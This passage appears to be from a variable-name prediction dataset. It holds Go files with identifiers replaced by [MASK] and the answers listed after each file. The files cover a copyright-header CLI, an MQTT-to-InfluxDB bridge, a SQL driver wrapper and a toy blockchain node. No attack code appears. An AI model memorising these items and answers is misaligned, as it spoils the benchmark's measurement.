getConfigFn()) if errors.Is(err, component.ErrDataTypeIsNotSupported) { return } if e == nil { return } assert.NotPanics(tb, func() { assert.NoError(tb, e.Shutdown(ctx)) }) } ",expectedExtensions 442,"// Copyright (c) Copygen. Licensed under the Apache License, Version 2.0. // See LICENSE for details. Do not modify this header – changes will be overwritten. package cmd import ( ""fmt"" ""os"" ""strings"" ""github.com/fatih/color"" ""github.com/hashicorp/go-multierror"" ""github.com/spf13/cobra"" ""github.com/bschaatsbergen/copygen/internal/arguments"" ""github.com/bschaatsbergen/copygen/internal/config"" ""github.com/bschaatsbergen/copygen/internal/header"" ""github.com/bschaatsbergen/copygen/internal/view"" ) const ( file = "".copygen.yaml"" ) var ( version string dryRun bool ) func NewRootCommand() *cobra.Command { cmd := &cobra.Command{ Use: ""copygen"", Short: ""copygen - Automate copyright headers"", Version: version, // The version is set during the build by making using of `go build -ldflags`. RunE: func(cmd *cobra.Command, args []string) error { if len(args) != 1 { return fmt.Errorf(""error: expected exactly one argument, got %d"", len(args)) } if _, err := os.Stat(args[0]); os.IsNotExist(err) { return fmt.Errorf(""error: path %s does not exist"", args[0]) } vt := arguments.ViewHuman v := view.NewRenderer(vt, &view.View{ Stream: &view.Stream{ Writer: os.Stdout, }, }) cfg, err := config.Unmarshal(file) if err != nil { return err } hp := header.NewProcessor(cfg, args[0], v, dryRun) err = hp.Process() if err != nil { return err } return nil }, } cmd.Flags().BoolVar(&dryRun, ""dry-run"", false, ""dry run"") return cmd } func setupCobraUsageTemplate(cmd *cobra.Command) { cobra.AddTemplateFunc(""StyleHeading"", color.New(color.FgBlue).SprintFunc()) [MASK] := cmd.UsageTemplate() [MASK] = strings.NewReplacer( `Usage:`, `{{StyleHeading ""Usage:""}}`, `Examples:`, `{{StyleHeading ""Examples:""}}`, `Available Commands:`, `{{StyleHeading ""Available Commands:""}}`, `Flags:`, `{{StyleHeading ""Flags:""}}`, ).Replace( [MASK] ) cmd.SetUsageTemplate( [MASK] ) } func Execute() { cmd := NewRootCommand() setupCobraUsageTemplate(cmd) cmd.CompletionOptions.DisableDefaultCmd = true if err := cmd.Execute(); err != nil { if merr, ok := err.(*multierror.Error); ok { for _, e := range merr.Errors { fmt.Fprintln(os.Stderr, e) } } else { fmt.Fprintln(os.Stderr, err) } } } ",usageTemplate 443,"package main import ( ""context"" ""log"" ""os"" ""os/signal"" ""strconv"" ""strings"" ""syscall"" ""time"" MQTT ""github.com/eclipse/paho.mqtt.golang"" influxdb2 ""github.com/influxdata/influxdb-client-go/v2"" ) const ( BUCKET = ""dhtmon"" ORG = ""home"" ) func envStr(name, def string) string { if v, ok := os.LookupEnv(name); ok { return v } else { return def } } func setup(client influxdb2.Client) error { ctx, c := context.WithTimeout(context.TODO(), 5*time.Second) defer c() [MASK] := client.OrganizationsAPI() org, err := [MASK] .FindOrganizationByName(ctx, ORG) if err != nil || org == nil { if org, err = [MASK] .CreateOrganizationWithName(ctx, ORG); err != nil { return err } } bApi := client.BucketsAPI() b, err := bApi.FindBucketByName(ctx, BUCKET) if err != nil || b == nil { if b, err = bApi.CreateBucketWithName(ctx, org, BUCKET); err != nil { return err } } return nil } func extractTopicId(t string) string { // topic is of format: /home/sensor/masterbed/xxx/yyy if e := strings.LastIndex(t, ""/""); e > 0 { if s := strings.LastIndex(t[:e-1], ""/""); s > -1 { return t[s+1 : e] } } return """" } func main() { c := make(chan os.Signal, 1) signal.Notify(c, os.Interrupt, syscall.SIGTERM, syscall.SIGINT, syscall.SIGKILL) broker := envStr(""APP_MQTT_BROKER"", ""mqtt://10.0.0.61:1883"") opts := MQTT.NewClientOptions() opts.AddBroker(broker) db := envStr(""INFLUX_DB"", ""http://localhost:8086"") println(""DB"", db) token := envStr(""INFLUX_TOKEN"", ""xyz"") println(""TOKEN"", token) client := influxdb2.NewClient(db, token) defer client.Close() if err := setup(client); err != nil { log.Fatal(""can't init InfluxDB"", err) } writeAPI := client.WriteAPIBlocking(ORG, BUCKET) var onReceive = func(metric string) func(MQTT.Client, MQTT.Message) { return func(client MQTT.Client, msg MQTT.Message) { if uuid := extractTopicId(msg.Topic()); uuid != """" { pld := string(msg.Payload()) v, err := strconv.ParseFloat(pld, 32) if err != nil { log.Println(""can't parse "", pld, err) return } p := influxdb2.NewPoint(""temphumid"", map[string]string{""sensor"": uuid}, map[string]interface{}{metric: v}, time.Now()) go func() { dl, c := context.WithTimeout(context.Background(), 1*time.Second) defer c() if err := writeAPI.WritePoint(dl, p); err != nil { log.Printf(""can't store data: %v"", err) } }() } else { log.Println(""can't extract topic id from "", msg.Topic()) } } } opts.OnConnect = func(c MQTT.Client) { if token := c.Subscribe(""/home/sensor/+/temp"", 1, onReceive(""temp"")); token.Wait() && token.Error() != nil { panic(token.Error()) } if token := c.Subscribe(""/home/sensor/+/humid"", 1, onReceive(""humid"")); token.Wait() && token.Error() != nil { panic(token.Error()) } } mqttClient := MQTT.NewClient(opts) if token := mqttClient.Connect(); token.Wait() && token.Error() != nil { log.Fatal(token.Error()) } defer mqttClient.Disconnect(0) log.Println(""started processing topics"") <-c } ",orgApi 444,"package main import ( ""os"" ""fmt"" ""strings"" ""flag"" ""html/template"" ""io"" ) func err_println(s... interface{}) { os.Stderr.Write([]byte(fmt.Sprintln(s...))) } func err_printf(f string, s...interface{}) { os.Stderr.Write([]byte(fmt.Sprintf(f, s...))) } const VERSION = ""develop"" func main() { var show_version bool flag.BoolVar(&show_version, ""v"", false, ""Display version"") var template_filename, output_filename string //Template filename flag.StringVar(&template_filename, ""t"", """", ""Template filename."") //Output filename flag.StringVar(&output_filename, ""o"", """", ""Output filename. Empty means output to stdout."") flag.Parse() if show_version { err_println(VERSION) os.Exit(0) } if template_filename == """" { err_println(""Template filename required!"") os.Exit(1) } tmpl, e := template.ParseFiles(template_filename) if nil != e { err_printf(""Load template file '%s' failed! <%s>\n"", template_filename, e) os.Exit(1) } var [MASK] = make(map[string]string) for _, x := range os.Environ() { //err_println("">"", x) pair := strings.SplitN(x, ""="", 2) [MASK] [pair[0]] = pair[1] } var output io.Writer if output_filename == """" { output = os.Stdout }else if f, e := os.OpenFile(output_filename, os.O_WRONLY|os.O_CREATE, 0666); nil != e { err_printf(""Open or create output file '%s' failed: %s \n"", output_filename, e) }else{ output = f defer f.Close() } err := tmpl.Execute(output, [MASK] ) if nil != err { err_println(""Execute template failed:>"", err) } }",env_map 445,"package dbwrap import ( ""context"" ""database/sql"" ""database/sql/driver"" ""errors"" ""io"" ""reflect"" ""strconv"" ""sync"" ) // Operation enumerates SQL operations. type Operation string // These constants enumerate available SQL operations. const ( Ping = Operation(""ping"") Exec = Operation(""exec"") Query = Operation(""query"") Prepare = Operation(""prepare"") Begin = Operation(""begin"") LastInsertID = Operation(""last_insert_id"") RowsAffected = Operation(""rows_affected"") StmtExec = Operation(""stmt_exec"") StmtQuery = Operation(""stmt_query"") StmtClose = Operation(""stmt_close"") RowsClose = Operation(""rows_close"") RowsNext = Operation(""rows_next"") Commit = Operation(""commit"") Rollback = Operation(""rollback"") ) var defaultOperations = map[Operation]bool{ Exec: true, Query: true, Prepare: true, Begin: true, LastInsertID: true, RowsAffected: true, StmtExec: true, StmtQuery: true, StmtClose: true, RowsClose: true, Commit: true, Rollback: true, } type conn interface { driver.Pinger driver.Execer //nolint:staticcheck // Deprecated usage for backwards compatibility. driver.ExecerContext driver.Queryer //nolint:staticcheck // Deprecated usage for backwards compatibility. driver.QueryerContext driver.Conn driver.ConnPrepareContext driver.ConnBeginTx } var ( regMu sync.Mutex // Compile time assertions. _ driver.Driver = &wDriver{} _ conn = &wConn{} _ driver.NamedValueChecker = &wConn{} _ driver.Result = &wResult{} _ driver.Stmt = &wStmt{} _ driver.StmtExecContext = &wStmt{} _ driver.StmtQueryContext = &wStmt{} _ driver.Rows = &wRows{} _ driver.RowsNextResultSet = &wRows{} _ driver.RowsColumnTypeDatabaseTypeName = &wRows{} _ driver.RowsColumnTypeLength = &wRows{} _ driver.RowsColumnTypeNullable = &wRows{} _ driver.RowsColumnTypePrecisionScale = &wRows{} ) // Register initializes and registers our wrapped database driver // identified by its driverName and using provided Options. On success it // returns the generated driverName to use when calling sql.Open. // It is possible to register multiple wrappers for the same database driver if // needing different Options for different connections. func Register(driverName string, options ...Option) (string, error) { return RegisterWithSource(driverName, """", options...) } // RegisterWithSource initializes and registers our wrapped database driver // identified by its driverName, using provided Options. // source is useful if some drivers do not accept the empty string when opening the DB. // On success it returns the generated driverName to use when calling sql.Open. // It is possible to register multiple wrappers for the same database driver if // needing different Options for different connections. func RegisterWithSource(driverName string, source string, options ...Option) (string, error) { // retrieve the driver implementation we need to wrap with instrumentation db, err := sql.Open(driverName, source) if err != nil { return """", err } dri := db.Driver() if err = db.Close(); err != nil { return """", err } regMu.Lock() defer regMu.Unlock() // Since we might want to register multiple drivers to have different // Options, but potentially the same underlying database driver, we // cycle through to find available driver names. driverName += ""-wrap-"" for i := int64(0); i < 100; i++ { var ( found = false regName = driverName + strconv.FormatInt(i, 10) ) for _, name := range sql.Drivers() { if name == regName { found = true } } if !found { sql.Register(regName, Wrap(dri, options...)) return regName, nil } } return """", errors.New(""unable to register driver, all slots have been taken"") } // Wrap takes a SQL driver and wraps it with middlewares. func Wrap(d driver.Driver, options ...Option) driver.Driver { if o, ok := prepareOptions(options); ok { return wrapDriver(d, o) } return d } // Open implements driver.Driver. func (d wDriver) Open(name string) (driver.Conn, error) { c, err := d.parent.Open(name) if err != nil { return nil, err } return wrapConn(c, d.options), nil } // WrapConn allows an existing driver.Conn to be wrapped. func WrapConn(c driver.Conn, options ...Option) driver.Conn { if o, ok := prepareOptions(options); ok { return wrapConn(c, o) } return c } // wConn implements driver.Conn. type wConn struct { parent driver.Conn options Options } func apply( ctx context.Context, mws []Middleware, operation Operation, statement string, args []driver.NamedValue, ) (context.Context, []func(error)) { finalizers := make([]func(error), len(mws)) n := len(mws) for i, mw := range mws { newCtx, onFinish := mw(ctx, operation, statement, args) ctx = newCtx if onFinish == nil { onFinish = func(err error) {} } finalizers[n-i-1] = onFinish } return ctx, finalizers } func namedValues(args []driver.Value) []driver.NamedValue { var nargs []driver.NamedValue if len(args) > 0 { nargs = make([]driver.NamedValue, 0, len(args)) for _, a := range args { nargs = append(nargs, driver.NamedValue{Value: a}) } } return nargs } func values(nargs []driver.NamedValue) []driver.Value { var args []driver.Value if len(nargs) > 0 { args = make([]driver.Value, 0, len(nargs)) for _, a := range nargs { args = append(args, a.Value) } } return args } func (c wConn) Ping(ctx context.Context) (err error) { if c.options.operations[Ping] { newCtx, finalizers := apply(ctx, c.options.Middlewares, Ping, """", nil) ctx = newCtx defer func() { for _, onFinish := range finalizers { onFinish(err) } }() } if pinger, ok := c.parent.(driver.Pinger); ok { return pinger.Ping(ctx) } return errors.New(""driver does not implement Ping"") } func (c wConn) Exec(query string, args []driver.Value) (res driver.Result, err error) { ctx := context.Background() //nolint:staticcheck // Deprecated usage for backwards compatibility. exec, ok := c.parent.(driver.Execer) if !ok { return nil, driver.ErrSkip } if c.options.Intercept != nil { nctx, nquery, nargs := c.options.Intercept(ctx, Exec, query, namedValues(args)) ctx = nctx args = values(nargs) query = nquery } if c.options.operations[Exec] { newCtx, finalizers := apply(ctx, c.options.Middlewares, Exec, query, namedValues(args)) ctx = newCtx defer func() { for _, onFinish := range finalizers { onFinish(err) } }() } if res, err = exec.Exec(query, args); err != nil { return nil, err } return wResult{parent: res, ctx: ctx, options: c.options}, nil } func (c wConn) ExecContext(ctx context.Context, query string, args []driver.NamedValue) (res driver.Result, err error) { execCtx, ok := c.parent.(driver.ExecerContext) if !ok { return nil, driver.ErrSkip } if c.options.Intercept != nil { ctx, query, args = c.options.Intercept(ctx, Exec, query, args) } if c.options.operations[Exec] { newCtx, finalizers := apply(ctx, c.options.Middlewares, Exec, query, args) ctx = newCtx defer func() { for _, onFinish := range finalizers { onFinish(err) } }() } if res, err = execCtx.ExecContext(ctx, query, args); err != nil { return nil, err } return wResult{parent: res, ctx: ctx, options: c.options}, nil } func (c wConn) Query(query string, args []driver.Value) (rows driver.Rows, err error) { //nolint:staticcheck // Deprecated usage for backwards compatibility. queryer, ok := c.parent.(driver.Queryer) if !ok { return nil, driver.ErrSkip } ctx := context.Background() if c.options.Intercept != nil { nctx, nquery, nargs := c.options.Intercept(ctx, Query, query, namedValues(args)) ctx = nctx query = nquery args = values(nargs) } if c.options.operations[Query] { newCtx, finalizers := apply(ctx, c.options.Middlewares, Query, query, namedValues(args)) ctx = newCtx defer func() { for _, onFinish := range finalizers { onFinish(err) } }() } rows, err = queryer.Query(query, args) if err != nil { return nil, err } return wrapRows(ctx, rows, c.options), nil } func (c wConn) QueryContext(ctx context.Context, query string, args []driver.NamedValue) (rows driver.Rows, err error) { queryerCtx, ok := c.parent.(driver.QueryerContext) if !ok { return nil, driver.ErrSkip } if c.options.Intercept != nil { ctx, query, args = c.options.Intercept(ctx, Query, query, args) } if c.options.operations[Query] { newCtx, finalizers := apply(ctx, c.options.Middlewares, Query, query, args) ctx = newCtx defer func() { for _, onFinish := range finalizers { onFinish(err) } }() } rows, err = queryerCtx.QueryContext(ctx, query, args) if err != nil { return nil, err } return wrapRows(ctx, rows, c.options), nil } func (c wConn) Prepare(query string) (stmt driver.Stmt, err error) { ctx := context.Background() if c.options.Intercept != nil { ctx, query, _ = c.options.Intercept(ctx, Prepare, query, nil) } if c.options.operations[Prepare] { newCtx, finalizers := apply(ctx, c.options.Middlewares, Prepare, query, nil) ctx = newCtx defer func() { for _, onFinish := range finalizers { onFinish(err) } }() } stmt, err = c.parent.Prepare(query) if err != nil { return nil, err } return wrapStmt(ctx, stmt, query, c.options), nil } func (c *wConn) Close() error { return c.parent.Close() } func (c *wConn) Begin() (driver.Tx, error) { return c.BeginTx(context.Background(), driver.TxOptions{}) } func (c *wConn) PrepareContext(ctx context.Context, query string) (stmt driver.Stmt, err error) { if c.options.Intercept != nil { ctx, query, _ = c.options.Intercept(ctx, Prepare, query, nil) } if c.options.operations[Prepare] { newCtx, finalizers := apply(ctx, c.options.Middlewares, Prepare, query, nil) ctx = newCtx defer func() { for _, onFinish := range finalizers { onFinish(err) } }() } if prepCtx, ok := c.parent.(driver.ConnPrepareContext); ok { if stmt, err = prepCtx.PrepareContext(ctx, query); err != nil { return nil, err } } return wrapStmt(ctx, stmt, query, c.options), nil } func (c *wConn) BeginTx(ctx context.Context, opts driver.TxOptions) (tx driver.Tx, err error) { if c.options.operations[Begin] { newCtx, finalizers := apply(ctx, c.options.Middlewares, Begin, """", nil) ctx = newCtx defer func() { for _, onFinish := range finalizers { onFinish(err) } }() } if [MASK] , ok := c.parent.(driver.ConnBeginTx); ok { tx, err = [MASK] .BeginTx(ctx, opts) if err != nil { return nil, err } return wTx{parent: tx, ctx: ctx, options: c.options}, nil } tx, err = c.parent.Begin() //nolint:staticcheck // Deprecated usage for backwards compatibility. if err != nil { return nil, err } return wTx{parent: tx, ctx: ctx, options: c.options}, nil } func (c *wConn) CheckNamedValue(nv *driver.NamedValue) (err error) { nvc, ok := c.parent.(driver.NamedValueChecker) if ok { return nvc.CheckNamedValue(nv) } nv.Value, err = driver.DefaultParameterConverter.ConvertValue(nv.Value) return err } // wResult implements driver.Result. type wResult struct { parent driver.Result ctx context.Context options Options } func (r wResult) LastInsertId() (id int64, err error) { if r.options.operations[LastInsertID] { _, finalizers := apply(r.ctx, r.options.Middlewares, LastInsertID, """", nil) defer func() { for _, onFinish := range finalizers { onFinish(err) } }() } id, err = r.parent.LastInsertId() return } func (r wResult) RowsAffected() (cnt int64, err error) { if r.options.operations[RowsAffected] { _, finalizers := apply(r.ctx, r.options.Middlewares, RowsAffected, """", nil) defer func() { for _, onFinish := range finalizers { onFinish(err) } }() } return r.parent.RowsAffected() } // wStmt implements driver.Stmt. type wStmt struct { ctx context.Context parent driver.Stmt query string options Options } func (s wStmt) Exec(args []driver.Value) (res driver.Result, err error) { if s.options.Intercept != nil { ctx, _, nargs := s.options.Intercept(s.ctx, StmtExec, s.query, namedValues(args)) s.ctx = ctx args = values(nargs) } if s.options.operations[StmtExec] { newCtx, finalizers := apply(s.ctx, s.options.Middlewares, StmtExec, s.query, namedValues(args)) s.ctx = newCtx defer func() { for _, onFinish := range finalizers { onFinish(err) } }() } res, err = s.parent.Exec(args) //nolint:staticcheck // Deprecated usage for backwards compatibility. if err != nil { return nil, err } return wResult{parent: res, ctx: s.ctx, options: s.options}, nil } func (s wStmt) Close() (err error) { if s.options.operations[StmtClose] { _, finalizers := apply(s.ctx, s.options.Middlewares, StmtClose, s.query, nil) defer func() { for _, onFinish := range finalizers { onFinish(err) } }() } return s.parent.Close() } func (s wStmt) NumInput() int { // NumInput may also return -1, if the driver doesn't know // its number of placeholders. In that case, the sql package // will not sanity check Exec or Query argument counts. if s.parent == nil { return -1 } return s.parent.NumInput() } func (s wStmt) Query(args []driver.Value) (rows driver.Rows, err error) { if s.options.Intercept != nil { ctx, _, nargs := s.options.Intercept(s.ctx, StmtQuery, s.query, namedValues(args)) s.ctx = ctx args = values(nargs) } if s.options.operations[StmtQuery] { newCtx, finalizers := apply(s.ctx, s.options.Middlewares, StmtQuery, s.query, namedValues(args)) s.ctx = newCtx defer func() { for _, onFinish := range finalizers { onFinish(err) } }() } rows, err = s.parent.Query(args) //nolint:staticcheck // Deprecated usage for backwards compatibility. if err != nil { return nil, err } return wrapRows(s.ctx, rows, s.options), nil } func (s wStmt) ExecContext(ctx context.Context, args []driver.NamedValue) (res driver.Result, err error) { if s.options.Intercept != nil { ctx, _, args = s.options.Intercept(s.ctx, StmtExec, s.query, args) } if s.options.operations[StmtExec] { newCtx, finalizers := apply(ctx, s.options.Middlewares, StmtExec, s.query, args) ctx = newCtx defer func() { for _, onFinish := range finalizers { onFinish(err) } }() } execContext, ok := s.parent.(driver.StmtExecContext) if !ok { return nil, errors.New(""driver does not implement ExecContext"") } res, err = execContext.ExecContext(ctx, args) if err != nil { return nil, err } return wResult{parent: res, ctx: ctx, options: s.options}, nil } func (s wStmt) QueryContext(ctx context.Context, args []driver.NamedValue) (rows driver.Rows, err error) { if s.options.Intercept != nil { ctx, _, args = s.options.Intercept(ctx, StmtQuery, s.query, args) } if s.options.operations[StmtQuery] { newCtx, finalizers := apply(ctx, s.options.Middlewares, StmtQuery, s.query, args) ctx = newCtx defer func() { for _, onFinish := range finalizers { onFinish(err) } }() } queryContext, ok := s.parent.(driver.StmtQueryContext) if !ok { if !ok { return nil, errors.New(""driver does not implement QueryContext"") } } rows, err = queryContext.QueryContext(ctx, args) if err != nil { return nil, err } return wrapRows(ctx, rows, s.options), nil } // withRowsColumnTypeScanType is the same as the driver.RowsColumnTypeScanType // interface except it omits the driver.Rows embedded interface. // If the original driver.Rows wrapped implementation supports // RowsColumnTypeScanType we enable the original method implementation in the // returned driver.Rows from wrapRows by doing a composition with wRows. type withRowsColumnTypeScanType interface { ColumnTypeScanType(index int) reflect.Type } // wRows implements driver.Rows and all enhancement interfaces except // driver.RowsColumnTypeScanType. type wRows struct { ctx context.Context parent driver.Rows options Options } // HasNextResultSet calls the implements the driver.RowsNextResultSet for wRows. // It returns the the underlying result of HasNextResultSet from the wRows.parent // if the parent implements driver.RowsNextResultSet. func (r wRows) HasNextResultSet() bool { if v, ok := r.parent.(driver.RowsNextResultSet); ok { return v.HasNextResultSet() } return false } // NextResultsSet calls the implements the driver.RowsNextResultSet for wRows. // It returns the the underlying result of NextResultSet from the wRows.parent // if the parent implements driver.RowsNextResultSet. func (r wRows) NextResultSet() error { if v, ok := r.parent.(driver.RowsNextResultSet); ok { return v.NextResultSet() } return io.EOF } // ColumnTypeDatabaseTypeName calls the implements the driver.RowsColumnTypeDatabaseTypeName for wRows. // It returns the the underlying result of ColumnTypeDatabaseTypeName from the wRows.parent // if the parent implements driver.RowsColumnTypeDatabaseTypeName. func (r wRows) ColumnTypeDatabaseTypeName(index int) string { if v, ok := r.parent.(driver.RowsColumnTypeDatabaseTypeName); ok { return v.ColumnTypeDatabaseTypeName(index) } return """" } // ColumnTypeLength calls the implements the driver.RowsColumnTypeLength for wRows. // It returns the the underlying result of ColumnTypeLength from the wRows.parent // if the parent implements driver.RowsColumnTypeLength. func (r wRows) ColumnTypeLength(index int) (length int64, ok bool) { if v, ok := r.parent.(driver.RowsColumnTypeLength); ok { return v.ColumnTypeLength(index) } return 0, false } // ColumnTypeNullable calls the implements the driver.RowsColumnTypeNullable for wRows. // It returns the the underlying result of ColumnTypeNullable from the wRows.parent // if the parent implements driver.RowsColumnTypeNullable. func (r wRows) ColumnTypeNullable(index int) (nullable, ok bool) { if v, ok := r.parent.(driver.RowsColumnTypeNullable); ok { return v.ColumnTypeNullable(index) } return false, false } // ColumnTypePrecisionScale calls the implements the driver.RowsColumnTypePrecisionScale for wRows. // It returns the the underlying result of ColumnTypePrecisionScale from the wRows.parent // if the parent implements driver.RowsColumnTypePrecisionScale. func (r wRows) ColumnTypePrecisionScale(index int) (precision, scale int64, ok bool) { if v, ok := r.parent.(driver.RowsColumnTypePrecisionScale); ok { return v.ColumnTypePrecisionScale(index) } return 0, 0, false } func (r wRows) Columns() []string { return r.parent.Columns() } func (r wRows) Close() (err error) { if r.options.operations[RowsClose] { _, finalizers := apply(r.ctx, r.options.Middlewares, RowsClose, """", nil) defer func() { for _, onFinish := range finalizers { onFinish(err) } }() } return r.parent.Close() } func (r wRows) Next(dest []driver.Value) (err error) { if r.options.operations[RowsNext] { _, finalizers := apply(r.ctx, r.options.Middlewares, RowsNext, """", nil) defer func() { for _, onFinish := range finalizers { onFinish(err) } }() } return r.parent.Next(dest) } // wrapRows returns a struct which conforms to the driver.Rows interface. // wRows implements all enhancement interfaces that have no effect on // sql/database logic in case the underlying parent implementation lacks them. // Currently the one exception is RowsColumnTypeScanType which does not have a // valid zero value. This interface is tested for and only enabled in case the // parent implementation supports it. func wrapRows(ctx context.Context, parent driver.Rows, options Options) driver.Rows { ts, hasColumnTypeScan := parent.(driver.RowsColumnTypeScanType) r := wRows{ parent: parent, ctx: ctx, options: options, } if hasColumnTypeScan { return struct { wRows withRowsColumnTypeScanType }{r, ts} } return r } // wTx implements driver.Tx. type wTx struct { parent driver.Tx ctx context.Context options Options } func (t wTx) Commit() (err error) { if t.options.operations[Commit] { _, finalizers := apply(t.ctx, t.options.Middlewares, Commit, """", nil) defer func() { for _, onFinish := range finalizers { onFinish(err) } }() } return t.parent.Commit() } func (t wTx) Rollback() (err error) { if t.options.operations[Rollback] { _, finalizers := apply(t.ctx, t.options.Middlewares, Rollback, """", nil) defer func() { for _, onFinish := range finalizers { onFinish(err) } }() } return t.parent.Rollback() } ",connBeginTx 446,"package main import ( ""crypto/sha256"" ""encoding/hex"" ""encoding/json"" ""fmt"" ""io"" ""log"" ""net/http"" ""os"" ""strconv"" ""strings"" ""time"" ) type Block struct { Index int Timestamp string Data string PrevHash string Hash string Nonce int Difficulty int } var Blockchain []Block var Peers []string var Difficulty = 3 // pow func calculateHash(block Block) string { [MASK] := strconv.Itoa(block.Index) + block.Timestamp + block.Data + block.PrevHash + strconv.Itoa(block.Nonce) h := sha256.Sum256([]byte( [MASK] )) return hex.EncodeToString(h[:]) } func mineBlock(block Block) Block { prefix := strings.Repeat(""0"", block.Difficulty) for { hash := calculateHash(block) if strings.HasPrefix(hash, prefix) { block.Hash = hash return block } block.Nonce++ } } func createGenesisBlock() Block { genesis := Block{ Index: 0, Timestamp: ""2026-06-07T00:00:00Z"", Data: ""Genesis"", PrevHash: """", Nonce: 2272, Difficulty: Difficulty, } genesis.Hash = calculateHash(genesis) return genesis } func generateBlock(oldBlock Block, data string) Block { newBlock := Block{ Index: oldBlock.Index + 1, Timestamp: time.Now().String(), Data: data, PrevHash: oldBlock.Hash, Difficulty: Difficulty, } return mineBlock(newBlock) } func isBlockValid(newBlock, oldBlock Block) bool { if oldBlock.Index+1 != newBlock.Index || oldBlock.Hash != newBlock.PrevHash || calculateHash(newBlock) != newBlock.Hash { return false } return true } // HTTP Handlers func getChain(w http.ResponseWriter, _ *http.Request) { json.NewEncoder(w).Encode(Blockchain) } func dataExists(data string) bool { for _, block := range Blockchain { if block.Data == data { return true } } return false } func addData(w http.ResponseWriter, r *http.Request) { body, _ := io.ReadAll(r.Body) data := string(body) if dataExists(data) { http.Error(w, ""Dado já existente na blockchain"", http.StatusConflict) return } newBlock := generateBlock(Blockchain[len(Blockchain)-1], data) if isBlockValid(newBlock, Blockchain[len(Blockchain)-1]) { Blockchain = append(Blockchain, newBlock) propagateBlock(newBlock) } json.NewEncoder(w).Encode(newBlock) } func receiveBlock(w http.ResponseWriter, r *http.Request) { body, err := io.ReadAll(r.Body) if err != nil { http.Error(w, ""Erro ao ler o corpo"", http.StatusBadRequest) return } var block Block err = json.Unmarshal(body, &block) if err != nil { http.Error(w, ""JSON inválido"", http.StatusBadRequest) return } if dataExists(block.Data) { http.Error(w, ""Dado duplicado detectado, bloco rejeitado"", http.StatusConflict) return } lastBlock := Blockchain[len(Blockchain)-1] if isBlockValid(block, lastBlock) { Blockchain = append(Blockchain, block) fmt.Println(""Bloco recebido e adicionado à blockchain:"") fmt.Printf(""Index: %d | Data: %s | Hash: %s\n"", block.Index, block.Data, block.Hash) w.WriteHeader(http.StatusOK) w.Write([]byte(""Bloco adicionado com sucesso"")) } else { fmt.Println(""Bloco recebido é inválido!"") w.WriteHeader(http.StatusBadRequest) w.Write([]byte(""Bloco inválido"")) } } func registerNode(w http.ResponseWriter, r *http.Request) { body, _ := io.ReadAll(r.Body) peer := string(body) for _, p := range Peers { if p == peer { json.NewEncoder(w).Encode(Peers) // já registrado, mas retorna peers return } } Peers = append(Peers, peer) fmt.Println(""Novo peer registrado:"", peer) // retorna os peers atuais para o novo nó json.NewEncoder(w).Encode(Peers) } func propagateBlock(block Block) { for _, peer := range Peers { jsonData, _ := json.Marshal(block) resp, err := http.Post(""http://""+peer+""/receive-block"", ""application/json"", strings.NewReader(string(jsonData))) if err != nil { fmt.Println(""Erro ao propagar para"", peer, "":"", err) } else { fmt.Println(""Propagado para"", peer, ""Status:"", resp.Status) } } } func isValidChain(chain []Block) bool { for i := 1; i < len(chain); i++ { if !isBlockValid(chain[i], chain[i-1]) { return false } } return true } func syncWithPeers() { for _, peer := range Peers { fmt.Println(""Sincronizando com peer:"", peer) resp, err := http.Get(""http://"" + peer + ""/chain"") if err != nil { fmt.Println(""Erro ao puxar blockchain do peer"", peer, "":"", err) continue } defer resp.Body.Close() var receivedChain []Block if err := json.NewDecoder(resp.Body).Decode(&receivedChain); err != nil { fmt.Println(""Erro ao decodificar chain:"", err) continue } if isValidChain(receivedChain) && len(receivedChain) > len(Blockchain) { Blockchain = receivedChain fmt.Println(""Blockchain substituída pela versão do peer"", peer) } } } func registerWithPeer(peer string) { self := ""localhost:"" + os.Args[1] resp, err := http.Post(""http://""+peer+""/register-node"", ""text/plain"", strings.NewReader(self)) if err != nil { fmt.Println(""Erro ao registrar com peer:"", err) return } defer resp.Body.Close() var knownPeers []string err = json.NewDecoder(resp.Body).Decode(&knownPeers) if err != nil { fmt.Println(""Erro ao decodificar peers:"", err) return } for _, p := range knownPeers { if p != self && !contains(Peers, p) { Peers = append(Peers, p) // REGISTRA-SE DE VOLTA NESSE PEER _, err := http.Post(""http://""+p+""/register-node"", ""text/plain"", strings.NewReader(self)) if err != nil { fmt.Println(""Erro ao se registrar com peer conhecido:"", p, err) } } } if !contains(Peers, peer) { Peers = append(Peers, peer) } fmt.Println(""Peers conhecidos após registro:"", Peers) } func contains(slice []string, item string) bool { for _, v := range slice { if v == item { return true } } return false } func enableCORS(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { // Permite requisições de qualquer origem, para produção ajuste para seu domínio w.Header().Set(""Access-Control-Allow-Origin"", ""*"") w.Header().Set(""Access-Control-Allow-Methods"", ""GET, POST, OPTIONS"") w.Header().Set(""Access-Control-Allow-Headers"", ""Content-Type"") // Para requisições OPTIONS (preflight), responde imediatamente if r.Method == ""OPTIONS"" { w.WriteHeader(http.StatusOK) return } next.ServeHTTP(w, r) }) } func main() { port := ""8000"" if len(os.Args) > 1 { port = os.Args[1] } Blockchain = append(Blockchain, createGenesisBlock()) http.Handle(""/chain"", enableCORS(http.HandlerFunc(getChain))) http.Handle(""/add-data"", enableCORS(http.HandlerFunc(addData))) http.Handle(""/receive-block"", enableCORS(http.HandlerFunc(receiveBlock))) http.Handle(""/register-node"", enableCORS(http.HandlerFunc(registerNode))) if len(os.Args) > 2 { registerWithPeer(os.Args[2]) // se passado, tenta registrar com outro nó } fmt.Println(""Listening on port"", port) log.Fatal(http.ListenAndServe("":""+port, nil)) } ",record 447,"package ndau // ----- ---- --- -- - // Copyright 2022 Oneiro NA, Inc. All Rights Reserved. // // Licensed under the Apache License 2.0 (the ""License""). You may not use // this file except in compliance with the License. You can obtain a copy // in the file LICENSE in the source distribution or at // https://www.apache.org/licenses/LICENSE-2.0.txt // - -- --- ---- ----- import ( ""bytes"" ""context"" ""encoding/json"" ""fmt"" ""io/ioutil"" ""net/http"" ""net/url"" ""strings"" uuid ""github.com/satori/uuid"" logger ""github.com/ndau/go-logger"" ) type NdauConfig struct { Network string NodeAPI string } type Ndau struct { Config *NdauConfig Client HttpClient Log logger.Logger } // New creates a new Ndau client func New(client HttpClient, config *NdauConfig, loggers ...logger.Logger) (*Ndau, error) { // Attach an optional logger var log logger.Logger if len(loggers) > 0 { log = loggers[0] } else { log = &logger.NoopLogger{} } log.Info(""New go-ndau"") return &Ndau{ Config: config, Client: client, Log: log, }, nil } // GetData is a general-purpose query helper func (n *Ndau) GetData(api string, params interface{}) ([]byte, error) { ctx := context.Background() trackingNumber := uuid.NewV4().String() 